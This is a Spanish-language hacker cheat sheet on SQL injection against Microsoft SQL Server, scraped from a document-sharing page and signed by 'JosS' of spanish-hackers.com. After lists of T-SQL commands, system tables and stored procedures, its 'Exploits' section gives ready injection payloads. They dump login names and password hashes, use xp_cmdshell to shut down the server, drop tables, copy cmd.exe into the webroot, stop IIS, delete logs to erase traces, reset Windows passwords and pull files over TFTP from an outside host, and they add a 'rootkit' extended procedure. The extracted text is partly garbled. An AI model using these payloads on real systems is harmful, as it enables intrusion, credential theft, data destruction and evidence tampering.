MS SQL Injecting (Español).txt

download MS SQL Injecting (Español).txt

of 7

Transcript of MS SQL Injecting (Español).txt

  • 7/28/2019 MS SQL Injecting (Espaol).txt

    1/7

    --[ INDEX ]---------------------------------------------------------------------0x01: Introduccin0x02: Comandos0x03: Caracteres0x04: Variables0x05: Tablas0x06: Procedimientos0x07: Exploits (hacking)0x08: Jbyte

    ####### ---[ 0x01: Introduccin ]--- #######

    Los ataques de SQL Injection nos permiten diferentes puntos y modos deataque dependiendo del gestor de Base de Datos que se utilice, cada gestortiene sus propias caractersticas y lenguaje (Estructured Query language).En este texto nos vamos a centrar en el gestor de base de datos de'Microsoft' (MS SQL), el cual utiliza su propio lenguaje, llamado TSQL (Transactsql).El motivo de elegir este objetivo como partida de nuestros ataques es por la pocadocumentacin que se encuentra sobre la explotacin de esta.

    He hay la cuestin.

    ####### ---[ 0x02: Comandos ]--- #######

    - Determina la base de datos sobre la que se realizar la consulta.use 'x'use master select * from sysobjects

    - Seleccin de los campos separados por comas dentro de la tabla seleccionada.select 'x'select username, password from users

    - Carcter comodn.*select * from users

    - Seleccin de tablas separadas por comas.from 'x'select * from tabla1,tabla2

    - Determina una condicin a cumplir.where 'x'select username,password from users where id=0 or id=1

    - Permite ordenar los registros por las columnas deseadas.order by 'x'select username, password from users order by username Desc

    - Permite realizar agrupaciones de registros.group by 'x'select count(rol) as cuenta, rol from usuarios group by rol

    - Une dos sentencias sql en una sola.union

  • 7/28/2019 MS SQL Injecting (Espaol).txt

    2/7

    select * from users union select * from users2

    - Devuelve todos los campos de las tablas.allselect * from users union all select * from users2

    - Devuelve un determinado nmero de registros de la tabla.topselect top 1 from users

    - Permite borrar registros, archivos, etc.deletedelete from users

    - Quita todas las filas de una tabla sin registrar las eliminaciones.truncatetruncate users

    - Modifica valores de una tabla.updateupdate users set pass='xxx'

    - Inserta valores en una tabla.insert

    insert into users values ('joss',null)

    - Permite crear objetos en la BD.create

    - Permite destruir objetos en la BD.drop

    - Permite modificar objetos en la BD.alter

    - Termina un proceso de usuario basado en el Id.kill 'x'

    kill 53

    - Convierte las expresiones en otros tipos de datos.castcast (expresin AS tipo de datos)

    ####### ---[ 0x03: Caracteres ]--- #######

    - Delimitador de consultas para lanzar la sentencia actual.;

    - Delimitador de cadenas de datos de caracteres y fechas.'

    - Delimitador de comentarios.--select * from users-- esto no lo ejecuta

    - delimitador de comentarios.

  • 7/28/2019 MS SQL Injecting (Espaol).txt

    3/7

    /*'x'*/select * from users/* esto no lo ejecuta*/

    - Da inicio al nombre de procedimientos almacenados.xp_sp_

    - Llamada a un procedimiento almacenado o funcin.execexecute

    - Carcter de concatenacin+select+username+from+users

    ####### ---[ 0x04: Variables ]--- #######

    - Fecha y hora actuales.current_timestamp

    - Nombre de usuario de la BD que realiza la insercin.current_user

    - Nombre de usuario de sesin que realiza la insercin.session_user

    - Nombre de usuario de sistema que realiza la insercin.system_user

    - 0 si la instruccin TSQL anterior no encontr errores.@@error

    - Nmero de transacciones activas de la conexin.@@tracount

    - Id de la estacin de trabajo.

    host_id

    - Nombre de la estacin de trabajo.host_name

    - Nos da las estadsticas de entrada y salida de los archivos de BD.fn_virtualfilestatsselect * from :: fn_virtualfilestats(1,1)

    - Informacin de los archivos de las distintas Base de Datos.sys.master_files

    - Contiene los nombres de las unidades compartidas por el servidor.

    fn_servershareddrives

    ####### ---[ 0x05: Tablas ]--- #######

    - syscolumns, almacena las columnas de cada tabla con sus propiedades.- sysdepends, almacena las dependencias de unos objetos con otros en la BD.- sysfilegroups, asocia los grupos ficheros (mdf, ldf, etc) de la BD a los ficheros en s.

  • 7/28/2019 MS SQL Injecting (Espaol).txt

    4/7

    - sysfiles, almacenan los ficheros fsicos en s con su ruta correspondiente.- sysforeignkeys, almacenan las claves forneas de la BD.- sysfulltextcatalogs, guarda informacin de los catlogos de sistema.- sysindexes, guarda todas las indexaciones de combinaciones de campos sobre tablas de la BD.- syspermissions, guarda permisos sobre los objetos de la BD.- sysproperties, guarda descripciones de tablas y campos del modelo relacional.- sysprotectsque, guarda informacin de permisos asociados a las cuentas de seguridad de la BD.- sysreferences, guarda la informacin de las relaciones entre tablas de la BD.- systypes, tipos de datos posbiles a definir en el gestor de BDsystypes.- sysusers, roles de inicios de sesin posibles en la BD.

    - sysfulltextnotify, syscursocolumns, syscursorrefs, syscursors, syscursortables, sysfiles1,syslocks, sysxlogins, etc...

    ####### ---[ 0x06: Procedimientos ]--- #######

    sp_addaliassp_addapprolesp_addgroup

    sp_addlinkedsrvloginsp_addloginsp_addrolesp_addrolemembersp_addumpdevicesp_addusersp_altermessagesp_approlepasswordsp_change_users_loginsp_changedbownersp_changegroupsp_changeobjectownersp_configure

    sp_dbcmptlevelsp_dboption (update)sp_dboption update partsp_defaultdbsp_defaultlanguagesp_denyloginsp_diskdefaultsp_dropaliassp_dropapprolesp_dropdevicesp_dropgroupsp_droplinkedsrvloginsp_droplogin

    sp_dropremoteloginsp_droprolesp_droprolemembersp_dropusersp_fulltext_catalogsp_fulltext_columnsp_fulltext_databasesp_fulltext_servicesp_fulltext_tablesp_grantdbaccess

  • 7/28/2019 MS SQL Injecting (Espaol).txt

    5/7

    sp_grantloginsp_helploginssp_passwordsp_recompilesp_refreshviewsp_remoteoptionsp_remoteoption (update)sp_renamesp_renamedbsp_revokedbaccesssp_revokeloginsp_tableoptionsp_updatestats

    (BOF)-->

    xp_controlqueueservicexp_createprivatequeuexp_createqueuexp_decodeq ueuecmdxp_deleteprivatequeuexp_deletequeuexp_displayqueuemesgsxp_dsninfo

    xp_mergelineagesxp_oledbinfoxp_proxiedmetadataxp_readpkfromqueuexp_readpkfromvar binxp_repl_encryptxp_resetqueuexp_sqlinventoryxp_unpackcab

    ####### ---[ 0x07: Exploits ]--- #######

    - Nombres de las distintas base de datos existentes en el gestor de BD:use master select * from sysdatabases

    - Obtenemos todas las tablas de todas las base de datos:select * from sysobjects where xtype = 'U'

    - Obtenemos los nombres de todas las tablas contenidas en la base de datos ('x'):

    use 'x' select * from sysobjects where xtype = 'U'use users select * from sysobjects where xtype = 'U'

    - Obtenemos todo el cdigo TSQL dado de alta en la BD:

    select * from syscomments

    - Obtenemos los procedimientos almacenados que usan las tablas o campos donde semanejan cuentas:

    select * from syscomments where text like '%cuentas%'

    - Obtenemos el inicio de sesin actual:select current_user

    - Obtenemos el usuario de la Base de Datos:

  • 7/28/2019 MS SQL Injecting (Espaol).txt

    6/7

    select user

    - Obtenemos la versin de SQL Server:select @@version

    - Obtenemos la fecha actual del servidor:select getdate()

    - Informacin referente a los inicios de sesin del gestor de base de datos:use master select name from sysxloginsselect name, password from sysxlogins

    - Bases de datos existentes en el servidor:use master select name from sysdatabases

    - Leer archivos del sistema:exec master..xp_readerrorlog 1,N'c:\boot.ini'

    - Leer el registro de Windows:exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup',

    'SQLpath'exec xp_instance_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServe

    r\Setup','SQLpath'

    - Utilizacin de waitfor:select * from 'x' waitfor delay '00:00:10'select * from users waitfor delay '00:00:10'

    - Denegacin de servicio:'; delete table usuarios--'; xp_cmdshell ('shutdown')--

    - Consultar y alterar archivos en el servidor:exec master..xp_cmdshell 'COPY c:\winnt\system32\cmd.exe c:\inetpub\wwwroot\

    chroot.exe'exec master..xp_cmdshell 'DIR c:\winnt\system32\logfiles\w3svc1\'

    - Parar servicios:exec master..xp_cmdshell 'NET STOP "Servicio de publicacin de World Wide Web"'

    - Borrado de huellas:exec master..xp_cmdshell 'DEL c:\winnt\system32\logfiles\w3svc1|filelog.log'

    - Iniciar un servicio:exec master..xp_cmdshell 'NET START "Servicio de publicacin de World Wide Web

    "'

    - Cambiar datos de la cuenta de usuarios de Windows:exec master..xp_cmdshell 'NET USER username password'

    - Aadir un usuario al inicio de sesin del gestor de base de datos:'exec master..sp_addlogin MyUser, MyPass

    - Mover archivos desde otras ubicaciones:execute master..xp_cmdshell 'TFTP -i www.spanish-hackers.com GET c:\local_fi

    le c:\remote_file'

    - Creacin de consultas encriptadas:create procedure 'x' with encryption as select * from users

  • 7/28/2019 MS SQL Injecting (Espaol).txt

    7/7

    create procedure pp with encryption as select * from users

    - Rootkits:use master exec sp_addextendedproc 'mi_rootkit', 'c:\Archivos de programa\Mi

    crosoft SQLServer\MSSQL\Binn\xplog70.dll' GO

    - Backup:'; use master BACKUP DATABASE [master] TO DISK = N'C:\h' WITH NOINIT, NOUNLO

    AD, NAME = N'C',NOSKIP, STATS = 10, NOFORMAT--

    ####### ---[ 0x08: JosS ]--- #######

    Jose Luis Gngora Fernndez (JosS)

    In memory of rgod.

    Take care,/JosS

    # spanish-hackers.com